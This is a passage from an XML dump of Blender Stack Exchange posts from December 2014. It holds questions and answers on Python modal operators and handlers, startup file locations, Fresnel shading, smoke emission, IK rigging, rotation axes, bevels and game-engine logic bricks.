self.layout&#xA;        if context.scene.watcher_running:&#xA;            layout.prop(context.scene, &quot;number_of_cubes&quot;)&#xA;        else:&#xA;            layout.operator(&quot;my_custom_op.cube_watcher&quot;)&#xA;&#xA;class CubeWatcher(bpy.types.Operator):&#xA;    &quot;&quot;&quot;This will run in background monitoring user actions&quot;&quot;&quot;&#xA;    bl_idname = &quot;my_custom_op.cube_watcher&quot;&#xA;    bl_label = &quot;Cube Watcher&quot;&#xA;&#xA;    # this function should be used to do stuff&#xA;    # in our example to adjust the number of cubes&#xA;    def execute(self, context):&#xA;&#xA;        # get cubes already present in scene&#xA;        cube_list = [object for object in context.scene.objects if object.name.find(&quot;Cube&quot;) &amp;gt;= 0]&#xA;&#xA;        if len(cube_list) &amp;lt; context.scene.number_of_cubes:&#xA;            # add cubes&#xA;            for i in range(context.scene.number_of_cubes - len(cube_list)):&#xA;                bpy.ops.mesh.primitive_cube_add(enter_editmode=False)&#xA;                context.active_object.location = (5-10*random(), 5-10*random(), 5-10*random())&#xA;&#xA;        elif len(cube_list) &amp;gt; context.scene.number_of_cubes:&#xA;            # remove excess cubes&#xA;            for i in range(context.scene.number_of_cubes, len(cube_list)):&#xA;                context.scene.objects.unlink(cube_list[i])&#xA;        return&#xA;&#xA;    # this function will be called everytime user does something, even moves a mouse&#xA;    # should be used to react to user input&#xA;    def modal(self, context, event):&#xA;&#xA;        # when user interacts, adjust number of cubes&#xA;        # this will react to all event types&#xA;        # which is kinda inneficient but simple&#xA;        self.execute(context)&#xA;&#xA;        # end modal operator when hitting ESC&#xA;        if event.type == 'ESC':&#xA;            # set the monitoring property to False&#xA;            context.scene.watcher_running = False&#xA;            return {'FINISHED'}&#xA;&#xA;        # all other events pass through to blender&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    # this is run when this operator is called&#xA;    # usually inicialization code is here&#xA;    def invoke(self, context, event):&#xA;&#xA;        # this is important, it will run the modal function&#xA;        # without this the operator would just execute and end&#xA;        context.window_manager.modal_handler_add(self)&#xA;&#xA;        # set the monitoring property to True&#xA;        context.scene.watcher_running = True&#xA;&#xA;        # run self to spawn cubes&#xA;        self.execute(context)&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;def register():&#xA;    # register classes so blender knows about them&#xA;    bpy.utils.register_module(__name__)&#xA;    # add a property to scene that will control number of cubes&#xA;    bpy.types.Scene.number_of_cubes = bpy.props.IntProperty(default=0, min=0)&#xA;    # add a property that will monitor if modal operator is running or not&#xA;    bpy.types.Scene.watcher_running = bpy.props.BoolProperty(default=False)&#xA;&#xA;def unregister():&#xA;    # unregister classes&#xA;    bpy.utils.unregister_module(__name__)&#xA;    # remove properties&#xA;    del bpy.types.Scene.number_of_cubes&#xA;    del bpy.types.Scene.watcher_running&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A handler is a function added to some event, in this case before scene updates. This will produce similar result as code before but will be much more likely buggy or laggy. Next example is simple and does not handle any error cases. Use this only when you know what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from random import random&#xA;&#xA;def cube_count_handler(scene):&#xA;    &quot;&quot;&quot;This function will be run everytime before scene updates&quot;&quot;&quot;&#xA;    cube_list = [object for object in scene.objects if object.name.find(&quot;Cube&quot;) &amp;gt;= 0]&#xA;    if len(cube_list) &amp;lt; scene.number_of_cubes:&#xA;        for i in range(scene.number_of_cubes - len(cube_list)):&#xA;            loc = (5-10*random(), 5-10*random(), 5-10*random())&#xA;            bpy.ops.mesh.primitive_cube_add(enter_editmode=False, location=loc)&#xA;&#xA;    elif len(cube_list) &amp;gt; scene.number_of_cubes:&#xA;        for i in range(scene.number_of_cubes, len(cube_list)):&#xA;            scene.objects.unlink(cube_list[i])&#xA;    return&#xA;&#xA;class PropPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Custom Panel&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(context.scene, &quot;number_of_cubes&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.number_of_cubes = bpy.props.IntProperty(default=0, min=0)&#xA;    # add handler if not in app.handlers&#xA;    if cube_count_handler not in bpy.app.handlers.scene_update_pre:&#xA;        bpy.app.handlers.scene_update_pre.append(cube_count_handler)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.number_of_cubes&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-05T07:46:46.640" LastActivityDate="2014-12-05T07:46:46.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19545" PostTypeId="2" ParentId="19534" CreationDate="2014-12-04T16:53:59.597" Score="0" Body="&lt;p&gt;Blender searches &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/DirectoryLayout&quot; rel=&quot;nofollow&quot;&gt;three places for a startup file&lt;/a&gt; in the following order -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;local  - located next to the blender application.&lt;/li&gt;&#xA;&lt;li&gt;user   - located in the users home folder.&lt;/li&gt;&#xA;&lt;li&gt;system - located in a shared system location (like /usr/share)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When you save your settings it is saved to the same location as it would be read from at startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well with the way blender allows you to have multiple copies on your machine, each can have their own config settings unique to that copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your situation you have the local settings in a shared location that you consider a system location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option is to compile your own version that ignores the local copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to copy your initial startup file into place on each machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the users could start a small setup script instead of blender (or appears to be blender) that checks existence of user config and copies your initial setup to the users machine from the network drive, obviously not located in the proper startup location and then starts blender.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-04T16:53:59.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19546" PostTypeId="2" ParentId="19532" CreationDate="2014-12-04T17:15:10.867" Score="4" Body="&lt;p&gt;The new Intersect Tool added in 2.72 will cut up intersecting faces - this is for meshes that are part of the same object, not multiple intersecting objects and can be found in Mesh-&gt;Face-&gt;Intersect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-rwvxusuJXU&quot; rel=&quot;nofollow&quot;&gt;Campbell explains it in this video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of addons that can help with boolean operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is &lt;a href=&quot;https://github.com/MadMinstrel/blender-sculpt-tools&quot; rel=&quot;nofollow&quot;&gt;Blender sculpt tools&lt;/a&gt; - the name is a bit misleading as it also works outside of sculpt mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is &lt;a href=&quot;https://github.com/vitorbalbio/code.git&quot; rel=&quot;nofollow&quot;&gt;BoolTool&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-04T17:15:10.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19547" PostTypeId="2" ParentId="19533" CreationDate="2014-12-04T17:27:15.873" Score="11" Body="&lt;p&gt;This example uses &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/mathutils.html?highlight=mathutils.vector#mathutils.Vector.to_track_quat&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Vector.rotation_difference&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/mathutils.html?highlight=mathutils.vector#mathutils.Vector.rotation_difference&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Vector.to_track_quat&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix, Vector, Euler&#xA;&#xA;obj = bpy.context.active_object&#xA;vec = Vector((1.0, 1.0, 1.0))&#xA;&#xA;# object axis to align with vector vec&#xA;axis = Vector((1.0, 0.0, 0.0))&#xA;&#xA;# rotation difference&#xA;q = axis.rotation_difference(vec)&#xA;# or&#xA;# track quaternion&#xA;q = vec.to_track_quat('X', 'Z')&#xA;&#xA;loc, rot, scale = obj.matrix_world.decompose()&#xA;&#xA;mat_scale = Matrix()&#xA;for i in range(3):&#xA;    mat_scale[i][i] = scale[i]&#xA;&#xA;obj.matrix_world = (&#xA;    Matrix.Translation(loc) * &#xA;    q.to_matrix().to_4x4() * &#xA;    mat_scale)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="2271" LastEditDate="2014-12-05T12:19:02.557" LastActivityDate="2014-12-05T12:19:02.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19548" PostTypeId="1" AcceptedAnswerId="19607" CreationDate="2014-12-04T17:31:36.827" Score="8" ViewCount="1529" Body="&lt;p&gt;I'm trying out a fairly common material setup, mixing a diffuse and a glossy shader with a fresnel node. My issue is that my material has some backfaces owing to its construction. They render correctly using either shader on their own, and if I look at their normals plugged into an emission shader they appear to be treated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I use a fresnel node, the results come out strangely, as if the backfaces normals are being treated as flipped (I know of course they really are, but surely this should be ignored when rendering?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image showing the issue:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NYZgg.png&quot; alt=&quot;Normals and Fresnel Shading Issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left: Mesh with some flipped normals. Middle: Normal output of geometry node plugged into emission shader. Right: Fresnel node plugged into emission shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know in most circumstances the solution would be to recalculate the normals, but the mesh I'm working with is a thin sheet that you see both sides of. Is this a bug or can anyone suggest a workaround?&lt;/p&gt;&#xA;" OwnerUserId="1440" LastEditorUserId="2217" LastEditDate="2014-12-05T02:50:28.667" LastActivityDate="2014-12-05T16:04:57.860" Title="Backfaces give strange results with Fresnel Node in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19550" PostTypeId="2" ParentId="19340" CreationDate="2014-12-04T17:43:31.737" Score="8" Body="&lt;p&gt;This is what you do to set min to 0 and max to 500, the soft_min and soft_max is optional and is only for dragging in gui:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects[name_of_my_object]&#xA;&#xA;# this is a dictionary containing IDprops settings&#xA;# this creates it and erases it:&#xA;ob[&quot;_RNA_UI&quot;] = {}&#xA;&#xA;# add properties settings like this:&#xA;ob[&quot;_RNA_UI&quot;]['name_of_my_property'] = {&quot;min&quot;:0.0,&#xA;                                        &quot;max&quot;: 500.0,&#xA;                                        &quot;soft_min&quot;:0.0,&#xA;                                        &quot;soft_max&quot;:500.0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-04T17:49:06.617" LastActivityDate="2014-12-04T17:49:06.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19551" PostTypeId="1" AcceptedAnswerId="19552" CreationDate="2014-12-04T18:05:50.903" Score="1" ViewCount="253" Body="&lt;p&gt;I've tried a few times to get emitted smoke and fire to appear slightly offset from the emitter, like for example a gas weld or a flamethrower. I've played with vorticity, temperature difference, density, speed, flame rate and practically every other setting whose name even remotely indicates that it may make a difference. All to no avail. I've also tried to add wind with various strengths and directions, and making a larger portion of the fire colour ramp transparent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in this image, Suzanne emits fire from her eyes and whatever that heart shape is meant to represent (mouth or nose?).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ixpYn.png&quot; alt=&quot;Suzanne spewing fire&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a small gap before the flame actually appears, similar to what can be seen here.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OdJkb.jpg&quot; alt=&quot;Flamethrower&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How, if at all, can this be achieved? I'm using BI.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file for the Suzanne image: &lt;a href=&quot;http://pasteall.org/blend/33192&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/33192&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-12-04T18:11:10.300" Title="Offsetting flames and/or smoke from the emitter" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19552" PostTypeId="2" ParentId="19551" CreationDate="2014-12-04T18:11:10.300" Score="1" Body="&lt;p&gt;You could try making a fake emmitter. Basically an object that has faces where you want the smoke emmited.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2014-12-04T18:11:10.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19553" PostTypeId="1" CreationDate="2014-12-04T18:27:55.893" Score="1" ViewCount="516" Body="&lt;p&gt;I built a head using the mirror modifier and extruding planes, however I applied the modifier before extruding the body down. Now I have the body build, however it slopes to one side along the y axis, so I can't really cut it in half and then re-mirror it.&lt;/p&gt;&#xA;" OwnerUserId="8331" LastEditorUserId="2217" LastEditDate="2014-12-04T21:01:50.700" LastActivityDate="2014-12-04T21:01:50.700" Title="How to I fix a model I build crooked?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19554" PostTypeId="2" ParentId="19548" CreationDate="2014-12-04T18:29:14.783" Score="9" Body="&lt;p&gt;If you use the Fresnel node that has an IOR, then this is the correct behaviour, as the IOR is computed taking the direction of the normal into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick solution would be to use the layer weight node and select &quot;Facing&quot;. You can alter the effect using an RGB curves node afterwards. Fresnel is basically &quot;Facing&quot; with a blend of 0.5 and an exponential curve afterwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRkHq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example above uses exactly the same normal setup as you do, but by using &quot;Facing&quot; the flipped normal faces are treated the same as the regular ones.&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-12-04T18:29:14.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19555" PostTypeId="2" ParentId="19532" CreationDate="2014-12-04T18:45:24.803" Score="0" Body="&lt;p&gt;You can use the bisect tool in Edit mode. The plane is defined by two points and your current camera direction.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2014-12-04T18:45:24.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19556" PostTypeId="1" CreationDate="2014-12-04T19:44:46.690" Score="0" ViewCount="80" Body="&lt;p&gt;I'm attempting to render a simple scene with 3 magazines fanned out on a plane, but for some reason, whenever I rotate a magazine and go to render, the render stops at 4 tiles. It doesn't do this when I &lt;em&gt;don't&lt;/em&gt; rotate any of the magazines, it renders just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from scratch gave me the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or could there be something else going on? If it's a bug it's a rather serious one. Why would Blender be unable to render a scene just because an object's been rotated?&lt;/p&gt;&#xA;" OwnerUserId="8334" LastEditorUserId="2217" LastEditDate="2014-12-04T21:08:02.950" LastActivityDate="2014-12-04T21:08:02.950" Title="Blender stops rendering when objects are rotated?" Tags="&lt;rendering&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19557" PostTypeId="2" ParentId="19553" CreationDate="2014-12-04T19:50:10.790" Score="1" Body="&lt;p&gt;You can (and should) select half of the model even if it's not symmetrical. Unfortunately, once you activate the mirrors modifier the model will look like it's been torn up the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, enable clipping in the modifier panel, then select all of the vertices but the head. View your object from the front (numpad&lt;kbd&gt;1&lt;/kbd&gt;), and hit &lt;kbd&gt;R&lt;/kbd&gt; to rotate the crookedness away until all of the vertices are aligned straight up the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to do a little tweaking to get it to look right again, but the crookedness should be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your only blocking out a body, and it's a pretty low density mesh, it might be easier to delete it and start again.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-04T19:50:10.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19558" PostTypeId="1" AcceptedAnswerId="19567" CreationDate="2014-12-04T20:05:03.123" Score="1" ViewCount="1302" Body="&lt;p&gt;I'm making a rig from this tutorial: &lt;a href=&quot;http://vimeo.com/30078317&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://vimeo.com/30078317&lt;/a&gt;&#xA;And i have problem like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gfycat.com/GranularSarcasticHarrierhawk&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/GranularSarcasticHarrierhawk.gif&quot; alt=&quot;gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the title says and GIF shows it is probably a problem with IK, but i don't know how to fix it.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.857" LastActivityDate="2014-12-04T22:09:01.420" Title="Bone unwanted rotation when moving IK" Tags="&lt;rigging&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19559" PostTypeId="1" AcceptedAnswerId="19574" CreationDate="2014-12-04T20:06:22.373" Score="3" ViewCount="152" Body="&lt;p&gt;How to to restrict the translation (or rotation) in Z axis for a length (yellow line) and activate it after (blue line)? Using only logic bricks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HBiGQ.jpg&quot; alt=&quot;movement&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastActivityDate="2014-12-05T01:15:58.660" Title="How to restrict movement for a length or period of time (logic bricks)?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19560" PostTypeId="1" CreationDate="2014-12-04T20:16:25.727" Score="4" ViewCount="22124" Body="&lt;p&gt;When press &lt;kbd&gt;R&lt;/kbd&gt; in Blender, I can rotate the plane about the axis from user view to origin.There is also a option to constraint the axis. When I ticked x axis, I expected that I will be able to rotate the plane about x axis shown by red in view. But it clearly doesn't work in this way, because by ticking or unticking whichever axis nothing special changed when rotated.&lt;/p&gt;&#xA;" OwnerUserId="8336" LastEditorUserId="2217" LastEditDate="2014-12-04T21:06:57.703" LastActivityDate="2019-12-29T20:34:23.327" Title="Rotate the plane about x,y,z axis in Blender" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19561" PostTypeId="2" ParentId="19560" CreationDate="2014-12-04T20:28:40.847" Score="3" Body="&lt;p&gt;You might get the result you want if you change the Transformation Orientation to Local or View, then Press &lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt;. This will then let you rotate in Local or View mode, instead of Global, which is the default when pressing &lt;kbd&gt;R&lt;/kbd&gt; then the axis you want once.&lt;/p&gt;&#xA;" OwnerUserId="8337" LastActivityDate="2014-12-04T20:28:40.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19562" PostTypeId="1" CreationDate="2014-12-04T21:06:42.277" Score="2" ViewCount="876" Body="&lt;p&gt;What voxel format is used by blender for storing smoke data? There is an easy way to export this data to something like OpenVDB? It's for use the simulation in our current rendering engine (Guerilla Render) that support openVDB format. Or is it an easy format to get the voxel back into Guerilla Render.&lt;/p&gt;&#xA;" OwnerUserId="8339" LastEditorUserId="2217" LastEditDate="2014-12-04T21:09:54.327" LastActivityDate="2016-08-26T02:31:00.070" Title="What voxel format is used by blender to store smoke data?" Tags="&lt;export&gt;&lt;smoke-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19563" PostTypeId="2" ParentId="19303" CreationDate="2014-12-04T21:40:58.317" Score="0" Body="&lt;p&gt;Jack, this is a problem with 'zero-lock' in the IK of the bottom bone, as your assymetrical final example shows clearly.  I suggest keeping the limits on and set to -90 to 90 for the top 3 bones (as in the first answer), but further you should change the bottom bone limits so they range from 0 to 359. This should put the flicker artifact directly pointed at the camera as the motion passes in front of the model -- it still will happen, you just won't 'see' it as bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please post a result to show pass/fail.&lt;/p&gt;&#xA;" OwnerUserId="4788" LastActivityDate="2014-12-04T21:40:58.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19565" PostTypeId="1" CreationDate="2014-12-04T22:01:51.667" Score="2" ViewCount="319" Body="&lt;p&gt;Is it possible to view the speed of a movement in Blender? In other animation software it is usually possible to see how many pixels per second an object is moving at. This is very useful when you need to achieve constant speed between different parts of an animation. Can Blender show the speed of an animation in either pixels or Blender units? I'm aware of the graph editor, but it's only showing me a value graph and I would like to see a speed graph.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2014-12-04T22:01:51.667" Title="Show animation speed in pixels per second" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19567" PostTypeId="2" ParentId="19558" CreationDate="2014-12-04T22:09:01.420" Score="1" Body="&lt;p&gt;Move your pole-target bone in front of the knee, when you've done the setup as in the tutorial at 19:30 this should work. The IK solver tries to maintain the orientation of the knee to the pole target. That is the reason why the leg is winding .&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-04T22:09:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19569" PostTypeId="1" CreationDate="2014-12-04T22:18:07.513" Score="1" ViewCount="108" Body="&lt;p&gt;In 02:05 of this video&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GU6fYiujrlI&amp;amp;t=2m05s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=GU6fYiujrlI&amp;amp;t=2m05s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some edges are beveled multiple times. However, when I try to do the same in Blender, after finishing my fist bevel, the selected edges include short in-between edges, and not only the edges parallel to the bevel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8mhS.png&quot; alt=&quot;unexpected after-bevel selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should the after-bevel selection look like according to the video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NAr0u.png&quot; alt=&quot;expected behaviour&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to manually de-seclect everything and re-select only the edges I want to bevel again, while in the beforementioned video that is not the case. How do I achieve the same behaviour of the bevel tool like in the video?&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-12-06T01:25:37.283" Title="How to control which edges are selected after beveling operation is complete?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19571" PostTypeId="2" ParentId="19569" CreationDate="2014-12-04T22:43:21.393" Score="4" Body="&lt;p&gt;That video was made with an older version of blender (2.64). You can now do pretty much the same thing faster by beveling (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) and then using the scroll wheel or the numbers on the keyboard to set the number of cuts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1SiK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Or you could deselect the edge rings with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/le4dc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Not exactly an optimal solution, but I don't think this is possible without using an older version of blender..&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-12-06T01:25:37.283" LastActivityDate="2014-12-06T01:25:37.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19572" PostTypeId="2" ParentId="19560" CreationDate="2014-12-04T23:43:05.827" Score="5" Body="&lt;p&gt;In general these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Will start rotating whatever it is around the global x,y,z axises, and these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Will start rotating around whatever transform type is listed in the box in the 3d View Header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nAQh9.png&quot; alt=&quot;Orientation bits of 3d view header&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Normal is equivalent to Local for objects, but averages selected normals when editing meshes.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, if your objects are rotating around unexpected places check the left two buttons in this picture.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-12-04T23:43:05.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19574" PostTypeId="2" ParentId="19559" CreationDate="2014-12-05T00:39:28.900" Score="3" Body="&lt;p&gt;You will need to add a &lt;strong&gt;Float&lt;/strong&gt; property to the 'yellow' area. I called mine &quot;Bar&quot;. no reason. (if it isn't area you want to determine it by then skip this step and go with a &lt;em&gt;Delay&lt;/em&gt; sensor rather than &lt;em&gt;Collision&lt;/em&gt;, &lt;em&gt;Near&lt;/em&gt;, or &lt;em&gt;Ray&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a &lt;em&gt;Collision&lt;/em&gt;, &lt;em&gt;Near&lt;/em&gt;, or &lt;em&gt;Ray&lt;/em&gt; (depending on your preferences and needs)sensor to determine when the &quot;Bar&quot; property is close enough to invoke the constraint behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via an &lt;em&gt;And&lt;/em&gt; controller, link your sensor to a &lt;em&gt;Constraint&lt;/em&gt; actuator and set the axis based on whatever axis is &quot;up&quot; in your diagram. Turn on &lt;em&gt;true level triggering&lt;/em&gt; on the sensor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QesqR.png&quot; 